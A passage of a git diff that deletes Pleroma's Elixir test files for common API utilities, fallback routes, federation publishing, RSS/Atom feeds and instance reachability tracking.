== "2015-01-23T23:50:07.000Z" - end - - test "removes microseconds from date (String)" do - assert Utils.to_masto_date("2015-01-23T23:50:07.123Z") == "2015-01-23T23:50:07.000Z" - end - - test "returns empty string when date invalid" do - assert Utils.to_masto_date("2015-01?23T23:50:07.123Z") == "" - end - end - - describe "conversation_id_to_context/1" do - test "returns id" do - object = insert(:note) - assert Utils.conversation_id_to_context(object.id) == object.data["id"] - end - - test "returns error if object not found" do - assert Utils.conversation_id_to_context("123") == {:error, "No such conversation"} - end - end - - describe "maybe_notify_mentioned_recipients/2" do - test "returns recipients when activity is not `Create`" do - activity = insert(:like_activity) - assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == ["test"] - end - - test "returns recipients from tag" do - user = insert(:user) - - object = - insert(:note, - user: user, - data: %{ - "tag" => [ - %{"type" => "Hashtag"}, - "", - %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} - ] - } - ) - - activity = insert(:note_activity, user: user, note: object) - - assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ - "test", - "https://testing.pleroma.lol/users/lain", - "https://shitposter.club/user/5381" - ] - end - - test "returns recipients when object is map" do - user = insert(:user) - object = insert(:note, user: user) - - activity = - insert(:note_activity, - user: user, - note: object, - data_attrs: %{ - "object" => %{ - "tag" => [ - %{"type" => "Hashtag"}, - "", - %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}, - %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"} - ] - } - } - ) - - Pleroma.Repo.delete(object) - - assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [ - "test", - "https://testing.pleroma.lol/users/lain", - "https://shitposter.club/user/5381" - ] - end - - test "returns recipients when object not found" do - user = insert(:user) - object = insert(:note, user: user) - - activity = insert(:note_activity, user: user, note: object) - Pleroma.Repo.delete(object) - - obj_url = activity.data["object"] - - Tesla.Mock.mock(fn - %{method: :get, url: ^obj_url} -> - %Tesla.Env{status: 404, body: ""} - end) - - assert Utils.maybe_notify_mentioned_recipients(["test-test"], activity) == [ - "test-test" - ] - end - end - - describe "attachments_from_ids_descs/2" do - test "returns [] when attachment ids is empty" do - assert Utils.attachments_from_ids_descs([], "{}") == [] - end - - test "returns list attachments with desc" do - object = insert(:note) - desc = Jason.encode!(%{object.id => "test-desc"}) - - assert Utils.attachments_from_ids_descs(["#{object.id}", "34"], desc) == [ - Map.merge(object.data, %{"name" => "test-desc"}) - ] - end - end - - describe "attachments_from_ids/1" do - test "returns attachments with descs" do - object = insert(:note) - desc = Jason.encode!(%{object.id => "test-desc"}) - - assert Utils.attachments_from_ids(%{ - media_ids: ["#{object.id}"], - descriptions: desc - }) == [ - Map.merge(object.data, %{"name" => "test-desc"}) - ] - end - - test "returns attachments without descs" do - object = insert(:note) - assert Utils.attachments_from_ids(%{media_ids: ["#{object.id}"]}) == [object.data] - end - - test "returns [] when not pass media_ids" do - assert Utils.attachments_from_ids(%{}) == [] - end - end - - describe "maybe_add_list_data/3" do - test "adds list params when found user list" do - user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) - - assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == - %{ - additional: %{"bcc" => [list.ap_id], "listMessage" => list.ap_id}, - object: %{"listMessage" => list.ap_id} - } - end - - test "returns original params when list not found" do - user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", insert(:user)) - - assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) == - %{additional: %{}, object: %{}} - end - end - - describe "make_note_data/11" do - test "returns note data" do - user = insert(:user) - note = insert(:note) - user2 = insert(:user) - user3 = insert(:user) - - assert Utils.make_note_data( - user.ap_id, - [user2.ap_id], - "2hu", - "<h1>This is :moominmamma: note</h1>", - [], - note.id, - [name: "jimm"], - "test summary", - [user3.ap_id], - false, - %{"custom_tag" => "test"} - ) == %{ - "actor" => user.ap_id, - "attachment" => [], - "cc" => [user3.ap_id], - "content" => "<h1>This is :moominmamma: note</h1>", - "context" => "2hu", - "sensitive" => false, - "summary" => "test summary", - "tag" => ["jimm"], - "to" => [user2.ap_id], - "type" => "Note", - "custom_tag" => "test" - } - end - end - - describe "maybe_add_attachments/3" do - test "returns parsed results when attachment_links is false" do - assert Utils.maybe_add_attachments( - {"test", [], ["tags"]}, - [], - false - ) == {"test", [], ["tags"]} - end - - test "adds attachments to parsed results" do - attachment = %{"url" => [%{"href" => "SakuraPM.png"}]} - - assert Utils.maybe_add_attachments( - {"test", [], ["tags"]}, - [attachment], - true - ) == { - "test<br><a href=\"SakuraPM.png\" class='attachment'>SakuraPM.png</a>", - [], - ["tags"] - } - end - end -end diff --git a/test/web/fallback_test.exs b/test/web/fallback_test.exs deleted file mode 100644 index a65865860..000000000 --- a/test/web/fallback_test.exs +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FallbackTest do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - describe "neither preloaded data nor metadata attached to" do - test "GET /registration/:token", %{conn: conn} do - response = get(conn, "/registration/foo") - - assert html_response(response, 200) =~ "<!--server-generated-meta-->" - end - - test "GET /*path", %{conn: conn} do - assert conn - |> get("/foo") - |> html_response(200) =~ "<!--server-generated-meta-->" - end - end - - describe "preloaded data and metadata attached to" do - test "GET /:maybe_nickname_or_id", %{conn: conn} do - user = insert(:user) - user_missing = get(conn, "/foo") - user_present = get(conn, "/#{user.nickname}") - - assert(html_response(user_missing, 200) =~ "<!--server-generated-meta-->") - refute html_response(user_present, 200) =~ "<!--server-generated-meta-->" - assert html_response(user_present, 200) =~ "initial-results" - end - - test "GET /*path", %{conn: conn} do - assert conn - |> get("/foo") - |> html_response(200) =~ "<!--server-generated-meta-->" - - refute conn - |> get("/foo/bar") - |> html_response(200) =~ "<!--server-generated-meta-->" - end - end - - describe "preloaded data is attached to" do - test "GET /main/public", %{conn: conn} do - public_page = get(conn, "/main/public") - - refute html_response(public_page, 200) =~ "<!--server-generated-meta-->" - assert html_response(public_page, 200) =~ "initial-results" - end - - test "GET /main/all", %{conn: conn} do - public_page = get(conn, "/main/all") - - refute html_response(public_page, 200) =~ "<!--server-generated-meta-->" - assert html_response(public_page, 200) =~ "initial-results" - end - end - - test "GET /api*path", %{conn: conn} do - assert conn - |> get("/api/foo") - |> json_response(404) == %{"error" => "Not implemented"} - end - - test "GET /pleroma/admin -> /pleroma/admin/", %{conn: conn} do - assert redirected_to(get(conn, "/pleroma/admin")) =~ "/pleroma/admin/" - end - - test "OPTIONS /*path", %{conn: conn} do - assert conn - |> options("/foo") - |> response(204) == "" - - assert conn - |> options("/foo/bar") - |> response(204) == "" - end -end diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs deleted file mode 100644 index 592fdccd1..000000000 --- a/test/web/federator_test.exs +++ /dev/null @@ -1,173 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FederatorTest do - alias Pleroma.Instances - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Federator - alias Pleroma.Workers.PublisherWorker - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - import Mock - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - setup do: clear_config([:instance, :allow_relay]) - setup do: clear_config([:mrf, :policies]) - setup do: clear_config([:mrf_keyword]) - - describe "Publish an activity" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - relay_mock = { - Pleroma.Web.ActivityPub.Relay, - [], - [publish: fn _activity -> send(self(), :relay_publish) end] - } - - %{activity: activity, relay_mock: relay_mock} - end - - test "with relays active, it publishes to the relay", %{ - activity: activity, - relay_mock: relay_mock - } do - with_mocks([relay_mock]) do - Federator.publish(activity) - ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) - end - - assert_received :relay_publish - end - - test "with relays deactivated, it does not publish to the relay", %{ - activity: activity, - relay_mock: relay_mock - } do - Pleroma.Config.put([:instance, :allow_relay], false) - - with_mocks([relay_mock]) do - Federator.publish(activity) - ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) - end - - refute_received :relay_publish - end - end - - describe "Targets reachability filtering in `publish`" do - test "it federates only to reachable instances via AP" do - user = insert(:user) - - {inbox1, inbox2} = - {"https://domain.com/users/nick1/inbox", "https://domain2.com/users/nick2/inbox"} - - insert(:user, %{ - local: false, - nickname: "nick1@domain.com", - ap_id: "https://domain.com/users/nick1", - inbox: inbox1, - ap_enabled: true - }) - - insert(:user, %{ - local: false, - nickname: "nick2@domain2.com", - ap_id: "https://domain2.com/users/nick2", - inbox: inbox2, - ap_enabled: true - }) - - dt = NaiveDateTime.utc_now() - Instances.set_unreachable(inbox1, dt) - - Instances.set_consistently_unreachable(URI.parse(inbox2).host) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "HI @nick1@domain.com, @nick2@domain2.com!"}) - - expected_dt = NaiveDateTime.to_iso8601(dt) - - ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) - - assert ObanHelpers.member?( - %{ - "op" => "publish_one", - "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt} - }, - all_enqueued(worker: PublisherWorker) - ) - end - end - - describe "Receive an activity" do - test "successfully processes incoming AP docs with correct origin" do - params = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "http://mastodon.example.org/users/admin", - "type" => "Create", - "id" => "http://mastodon.example.org/users/admin/activities/1", - "object" => %{ - "type" => "Note", - "content" => "hi world!", - "id" => "http://mastodon.example.org/users/admin/objects/1", - "attributedTo" => "http://mastodon.example.org/users/admin" - }, - "to" => ["https://www.w3.org/ns/activitystreams#Public"] - } - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:ok, _activity} = ObanHelpers.perform(job) - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:error, :already_present} = ObanHelpers.perform(job) - end - - test "rejects incoming AP docs with incorrect origin" do - params = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://niu.moe/users/rye", - "type" => "Create", - "id" => "http://mastodon.example.org/users/admin/activities/1", - "object" => %{ - "type" => "Note", - "content" => "hi world!", - "id" => "http://mastodon.example.org/users/admin/objects/1", - "attributedTo" => "http://mastodon.example.org/users/admin" - }, - "to" => ["https://www.w3.org/ns/activitystreams#Public"] - } - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:error, :origin_containment_failed} = ObanHelpers.perform(job) - end - - test "it does not crash if MRF rejects the post" do - Pleroma.Config.put([:mrf_keyword, :reject], ["lain"]) - - Pleroma.Config.put( - [:mrf, :policies], - Pleroma.Web.ActivityPub.MRF.KeywordPolicy - ) - - params = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - assert {:ok, job} = Federator.incoming_ap_doc(params) - assert {:error, _} = ObanHelpers.perform(job) - end - end -end diff --git a/test/web/feed/tag_controller_test.exs b/test/web/feed/tag_controller_test.exs deleted file mode 100644 index 868e40965..000000000 --- a/test/web/feed/tag_controller_test.exs +++ /dev/null @@ -1,197 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Feed.TagControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import SweetXml - - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Feed.FeedView - - setup do: clear_config([:feed]) - - test "gets a feed (ATOM)", %{conn: conn} do - Pleroma.Config.put( - [:feed, :post_title], - %{max_length: 25, omission: "..."} - ) - - user = insert(:user) - {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) - - object = Object.normalize(activity1) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) - - {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) - - response = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart.atom")) - |> response(200) - - xml = parse(response) - - assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ - '42 This is :moominmamm...', - 'yeah #PleromaArt' - ] - - assert xpath(xml, ~x"//feed/entry/author/name/text()"ls) == [user.nickname, user.nickname] - assert xpath(xml, ~x"//feed/entry/author/id/text()"ls) == [user.ap_id, user.ap_id] - - conn = - conn - |> put_req_header("accept", "application/atom+xml") - |> get("/tags/pleromaart.atom", %{"max_id" => activity2.id}) - - assert get_resp_header(conn, "content-type") == ["application/atom+xml; charset=utf-8"] - resp = response(conn, 200) - xml = parse(resp) - - assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ - 'yeah #PleromaArt' - ] - end - - test "gets a feed (RSS)", %{conn: conn} do - Pleroma.Config.put( - [:feed, :post_title], - %{max_length: 25, omission: "..."} - ) - - user = insert(:user) - {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) - - object = Object.normalize(activity1) - - object_data = - Map.put(object.data, "attachment", [ - %{ - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ]) - - object - |> Ecto.Changeset.change(data: object_data) - |> Pleroma.Repo.update() - - {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) - - {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) - - response = - conn - |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) - |> response(200) - - xml = parse(response) - assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//channel/description/text()"s) == - "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." - - assert xpath(xml, ~x"//channel/link/text()") == - '#{Pleroma.Web.base_url()}/tags/pleromaart.rss' - - assert xpath(xml, ~x"//channel/webfeeds:logo/text()") == - '#{Pleroma.Web.base_url()}/static/logo.png' - - assert xpath(xml, ~x"//channel/item/title/text()"l) == [ - '42 This is :moominmamm...', - 'yeah #PleromaArt' - ] - - assert xpath(xml, ~x"//channel/item/pubDate/text()"sl) == [ - FeedView.pub_date(activity2.data["published"]), - FeedView.pub_date(activity1.data["published"]) - ] - - assert xpath(xml, ~x"//channel/item/enclosure/@url"sl) == [ - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4" - ] - - obj1 = Object.normalize(activity1) - obj2 = Object.normalize(activity2) - - assert xpath(xml, ~x"//channel/item/description/text()"sl) == [ - HtmlEntities.decode(FeedView.activity_content(obj2.data)), - HtmlEntities.decode(FeedView.activity_content(obj1.data)) - ] - - response = - conn - |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) - |> response(200) - - xml = parse(response) - assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//channel/description/text()"s) == - "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." - - conn = - conn - |> put_req_header("accept", "application/rss+xml") - |> get("/tags/pleromaart.rss", %{"max_id" => activity2.id}) - - assert get_resp_header(conn, "content-type") == ["application/rss+xml; charset=utf-8"] - resp = response(conn, 200) - xml = parse(resp) - - assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' - - assert xpath(xml, ~x"//channel/item/title/text()"l) == [ - 'yeah #PleromaArt' - ] - end - - describe "private instance" do - setup do: clear_config([:instance, :public]) - - test "returns 404 for tags feed", %{conn: conn} do - Config.put([:instance, :public], false) - - conn - |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) - |> response(404) - end - end -end diff --git a/test/web/feed/user_controller_test.exs b/test/web/feed/user_controller_test.exs deleted file mode 100644 index 9a5610baa..000000000 --- a/test/web/feed/user_controller_test.exs +++ /dev/null @@ -1,265 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Feed.UserControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import SweetXml - - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do: clear_config([:instance, :federating], true) - - describe "feed" do - setup do: clear_config([:feed]) - - test "gets an atom feed", %{conn: conn} do - Config.put( - [:feed, :post_title], - %{max_length: 10, omission: "..."} - ) - - activity = insert(:note_activity) - - note = - insert(:note, - data: %{ - "content" => "This is :moominmamma: note ", - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} - ] - } - ], - "inReplyTo" => activity.data["id"] - } - ) - - note_activity = insert(:note_activity, note: note) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - note2 = - insert(:note, - user: user, - data: %{ - "content" => "42 This is :moominmamma: note ", - "inReplyTo" => activity.data["id"] - } - ) - - note_activity2 = insert(:note_activity, note: note2) - object = Object.normalize(note_activity) - - resp = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//entry/title/text()"l) - - assert activity_titles == ['42 This...', 'This is...'] - assert resp =~ object.data["content"] - - resp = - conn - |> put_req_header("accept", "application/atom+xml") - |> get("/users/#{user.nickname}/feed", %{"max_id" => note_activity2.id}) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//entry/title/text()"l) - - assert activity_titles == ['This is...'] - end - - test "gets a rss feed", %{conn: conn} do - Pleroma.Config.put( - [:feed, :post_title], - %{max_length: 10, omission: "..."} - ) - - activity = insert(:note_activity) - - note = - insert(:note, - data: %{ - "content" => "This is :moominmamma: note ", - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} - ] - } - ], - "inReplyTo" => activity.data["id"] - } - ) - - note_activity = insert(:note_activity, note: note) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - note2 = - insert(:note, - user: user, - data: %{ - "content" => "42 This is :moominmamma: note ", - "inReplyTo" => activity.data["id"] - } - ) - - note_activity2 = insert(:note_activity, note: note2) - object = Object.normalize(note_activity) - - resp = - conn - |> put_req_header("accept", "application/rss+xml") - |> get("/users/#{user.nickname}/feed.rss") - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//item/title/text()"l) - - assert activity_titles == ['42 This...', 'This is...'] - assert resp =~ object.data["content"] - - resp = - conn - |> put_req_header("accept", "application/rss+xml") - |> get("/users/#{user.nickname}/feed.rss", %{"max_id" => note_activity2.id}) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//item/title/text()"l) - - assert activity_titles == ['This is...'] - end - - test "returns 404 for a missing feed", %{conn: conn} do - conn = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, "nonexisting")) - - assert response(conn, 404) - end - - test "returns feed with public and unlisted activities", %{conn: conn} do - user = insert(:user) - - {:ok, _} = CommonAPI.post(user, %{status: "public", visibility: "public"}) - {:ok, _} = CommonAPI.post(user, %{status: "direct", visibility: "direct"}) - {:ok, _} = CommonAPI.post(user, %{status: "unlisted", visibility: "unlisted"}) - {:ok, _} = CommonAPI.post(user, %{status: "private", visibility: "private"}) - - resp = - conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(200) - - activity_titles = - resp - |> SweetXml.parse() - |> SweetXml.xpath(~x"//entry/title/text()"l) - |> Enum.sort() - - assert activity_titles == ['public', 'unlisted'] - end - - test "returns 404 when the user is remote", %{conn: conn} do - user = insert(:user, local: false) - - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - - assert conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(404) - end - end - - # Note: see ActivityPubControllerTest for JSON format tests - describe "feed_redirect" do - test "with html format, it redirects to user feed", %{conn: conn} do - note_activity = insert(:note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - response = - conn - |> get("/users/#{user.nickname}") - |> response(200) - - assert response == - Fallback.RedirectController.redirector_with_meta( - conn, - %{user: user} - ).resp_body - end - - test "with html format, it returns error when user is not found", %{conn: conn} do - response = - conn - |> get("/users/jimm") - |> json_response(404) - - assert response == %{"error" => "Not found"} - end - - test "with non-html / non-json format, it redirects to user feed in atom format", %{ - conn: conn - } do - note_activity = insert(:note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - conn = - conn - |> put_req_header("accept", "application/xml") - |> get("/users/#{user.nickname}") - - assert conn.status == 302 - assert redirected_to(conn) == "#{Pleroma.Web.base_url()}/users/#{user.nickname}/feed.atom" - end - - test "with non-html / non-json format, it returns error when user is not found", %{conn: conn} do - response = - conn - |> put_req_header("accept", "application/xml") - |> get(user_feed_path(conn, :feed, "jimm")) - |> response(404) - - assert response == ~S({"error":"Not found"}) - end - end - - describe "private instance" do - setup do: clear_config([:instance, :public]) - - test "returns 404 for user feed", %{conn: conn} do - Config.put([:instance, :public], false) - user = insert(:user) - - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - - assert conn - |> put_req_header("accept", "application/atom+xml") - |> get(user_feed_path(conn, :feed, user.nickname)) - |> response(404) - end - end -end diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs deleted file mode 100644 index 4f0805100..000000000 --- a/test/web/instances/instance_test.exs +++ /dev/null @@ -1,152 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Instances.InstanceTest do - alias Pleroma.Instances.Instance - alias Pleroma.Repo - - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) - - describe "set_reachable/1" do - test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do - unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now()) - instance = insert(:instance, unreachable_since: unreachable_since) - - assert {:ok, instance} = Instance.set_reachable(instance.host) - refute instance.unreachable_since - end - - test "keeps nil `unreachable_since` of existing matching Instance record having nil `unreachable_since`" do - instance = insert(:instance, unreachable_since: nil) - - assert {:ok, instance} = Instance.set_reachable(instance.host) - refute instance.unreachable_since - end - - test "does NOT create an Instance record in case of no existing matching record" do - host = "domain.org" - assert nil == Instance.set_reachable(host) - - assert [] = Repo.all(Ecto.Query.from(i in Instance)) - assert Instance.reachable?(host) - end - end - - describe "set_unreachable/1" do - test "creates new record having `unreachable_since` to current time if record does not exist" do - assert {:ok, instance} = Instance.set_unreachable("https://domain.com/path") - - instance = Repo.get(Instance, instance.id) - assert instance.unreachable_since - assert "domain.com" == instance.host - end - - test "sets `unreachable_since` of existing record having nil `unreachable_since`" do - instance = insert(:instance, unreachable_since: nil) - refute instance.unreachable_since - - assert {:ok, _} = Instance.set_unreachable(instance.host) - - instance = Repo.get(Instance, instance.id) - assert instance.unreachable_since - end - - test "does NOT modify `unreachable_since` value of existing record in case it's present" do - instance = - insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) - - assert instance.unreachable_since - initial_value = instance.unreachable_since - - assert {:ok, _} = Instance.set_unreachable(instance.host) - - instance = Repo.get(Instance, instance.id) - assert initial_value == instance.unreachable_since - end - end - - describe "set_unreachable/2" do - test "sets `unreachable_since` value of existing record in case it's newer than supplied value" do - instance = - insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) - - assert instance.unreachable_since - - past_value = NaiveDateTime.add(NaiveDateTime.utc_now(), -100) - assert {:ok, _} = Instance.set_unreachable(instance.host, past_value) - - instance = Repo.get(Instance, instance.id) - assert past_value == instance.unreachable_since - end - - test "does NOT modify `unreachable_since` value of existing record in case it's equal to or older than supplied value" do - instance = - insert(:instance, unreachable_since: NaiveDateTime.add(NaiveDateTime.utc_now(), -10)) - - assert instance.unreachable_since - initial_value = instance.unreachable_since - - assert {:ok, _} = Instance.set_unreachable(instance.host, NaiveDateTime.utc_now()) - - instance = Repo.get(Instance, instance.id) - assert initial_value == instance.unreachable_since - end - end - - describe "get_or_update_favicon/1" do - test "Scrapes favicon URLs" do - Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[<html><head><link rel="icon" href="/favicon.png"></head></html>] - } - end) - - assert "https://favicon.example.org/favicon.png" == - Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) - end - - test "Returns nil on too long favicon URLs" do - long_favicon_url = - "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" - - Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: - ~s[<html><head><link rel="icon" href="] <> long_favicon_url <> ~s["></head></html>] - } - end) - - assert capture_log(fn -> - assert nil == - Instance.get_or_update_favicon( - URI.parse("https://long-favicon.example.org/") - ) - end) =~ - "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" - end - - test "Handles not getting a favicon URL properly" do - Tesla.Mock.mock(fn %{url: "https://no-favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[<html><head><h1>I wil look down and whisper "GNO.."</h1></head></html>] - } - end) - - refute capture_log(fn -> - assert nil == - Instance.get_or_update_favicon( - URI.parse("https://no-favicon.example.org/") - ) - end) =~ "Instance.scrape_favicon(\"https://no-favicon.example.org/\") error: " - end - end -end diff --git a/test/web/instances/instances_test.exs b/test/web/instances/instances_test.exs deleted file mode 100644 index d2618025c..000000000 --- a/test/web/instances/instances_test.exs +++ /dev/null @@ -1,124 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.InstancesTest do - alias Pleroma.Instances - - use Pleroma.DataCase - - setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) - - describe "reachable?/1" do - test "returns `true` for host / url with unknown reachability status" do - assert Instances.reachable?("unknown.site") - assert Instances.reachable?("http://unknown.site") - end - - test "returns `false` for host / url marked unreachable for at least `reachability_datetime_threshold()`" do - host = "consistently-unreachable.name" - Instances.set_consistently_unreachable(host) - - refute Instances.reachable?(host) - refute Instances.reachable?("http://#{host}/path") - end - - test "returns `true` for host / url marked unreachable for less than `reachability_datetime_threshold()`" do - url = "http://eventually-unreachable.name/path" - - Instances.set_unreachable(url) - - assert Instances.reachable?(url) - assert Instances.reachable?(URI.parse(url).host) - end - - test "returns true on non-binary input" do - assert Instances.reachable?(nil) - assert Instances.reachable?(1) - end - end - - describe "filter_reachable/1" do - setup do - host = "consistently-unreachable.name" - url1 = "http://eventually-unreachable.com/path" - url2 = "http://domain.com/path" - - Instances.set_consistently_unreachable(host) - Instances.set_unreachable(url1) - - result = Instances.filter_reachable([host, url1, url2, nil]) - %{result: result, url1: url1, url2: url2} - end - - test "returns a map with keys containing 'not marked consistently unreachable' elements of supplied list", - %{result: result, url1: url1, url2: url2} do - assert is_map(result) - assert Enum.sort([url1, url2]) == result |> Map.keys() |> Enum.sort() - end - - test "returns a map with `unreachable_since` values for keys", - %{result: result, url1: url1, url2: url2} do - assert is_map(result) - assert %NaiveDateTime{} = result[url1] - assert is_nil(result[url2]) - end - - test "returns an empty map for empty list or list containing no hosts / url" do - assert %{} == Instances.filter_reachable([]) - assert %{} == Instances.filter_reachable([nil]) - end - end - - describe "set_reachable/1" do - test "sets unreachable url or host reachable" do - host = "domain.com" - Instances.set_consistently_unreachable(host) - refute Instances.reachable?(host) - - Instances.set_reachable(host) - assert Instances.reachable?(host) - end - - test "keeps reachable url or host reachable" do - url = "https://site.name?q=" - assert Instances.reachable?(url) - - Instances.set_reachable(url) - assert Instances.reachable?(url) - end - - test "returns error status on non-binary input" do - assert {:error, _} = Instances.set_reachable(nil) - assert {:error, _} = Instances.set_reachable(1) - end - end - - # Note: implementation-specific (e.g. Instance) details of set_unreachable/1 - # 